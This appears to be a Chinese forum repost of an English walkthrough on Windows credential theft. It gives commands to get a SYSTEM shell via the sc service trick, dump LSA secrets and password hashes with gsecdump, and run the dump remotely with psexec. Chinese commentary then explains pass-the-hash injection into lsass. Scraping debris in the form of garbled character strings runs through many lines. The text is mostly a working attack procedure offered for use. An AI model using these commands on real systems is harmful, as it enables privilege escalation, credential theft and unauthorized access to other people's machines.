HASH注入式攻击

admin

o get a DOS Prompt as NT system:

) H# F7 t& H4 g' @( ?4 U4 yC:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
" D8 |, S8 Q) m5 M# ?; V/ P; d[SC] CreateService SUCCESS

, ?, O! `; B* \C:\>sc start shellcmdline
* `2 n  O4 s, v9 M# K[SC] StartService FAILED 1053:
% i8 W3 @" f1 O: o" {
* @/ [) ~7 {( X( S3 WThe service did not respond to the start or control request in a timely fashion.
6 F- W- a4 j4 g7 t
C:\>sc delete shellcmdline
2 Z$ a" I$ }1 w# v/ G& C[SC] DeleteService SUCCESS

& R! \; k4 z" n------------

Then in the new DOS window:

( y" H6 T5 Y! c8 E2 \, ~& d; V7 NMicrosoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

, Y& P! X& c6 F/ g5 F5 B0 kC:\WINDOWS\system32>whoami
NT AUTHORITY\SYSTEM
' g2 [) {' I8 y( ?, m. n! y! Z* ^
7 M9 B& ]3 S/ P' f, g8 q1 {6 |C:\WINDOWS\system32>gsecdump -h
# v3 o6 |2 O1 L: hgsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
usage: gsecdump [options]
, I' e" ?8 e" f/ n  j0 O1 T! ]
/ a( g6 i8 b# Y* ~6 ]1 S- V" ~options:
9 e6 K) b$ w- Y; o! `: d2 V-h [ --help ] show help
-a [ --dump_all ] dump all secrets
3 D$ I! Z! Q: s9 l-l [ --dump_lsa ] dump lsa secrets
+ h: X& }9 a7 m% h: d2 r) M5 O-w [ --dump_wireless ] dump microsoft wireless connections
- @" a7 @3 d% j* ~-u [ --dump_usedhashes ] dump hashes from active logon sessions
; ?3 x2 @3 }+ S$ x! w-s [ --dump_hashes ] dump hashes from SAM/AD

& Q% U1 s: L/ H  o  [8 i6 G6 n" c5 \. QAlthough I like to use:

PsExec v1.83 - Execute processes remotely
, G; F' }5 R8 b, v1 ?. p# k3 ICopyright (C) 2001-2007 Mark Russinovich
Sysinternals - 链接标记[url]www.sysinternals.com[/url]

C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT
# [/ G. o5 e3 `9 L! M8 p
# u7 U7 G: a, d# ato get the hashes from active logon sessions of a remote system.
, w9 u/ D( O: n
These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.

提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]

我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。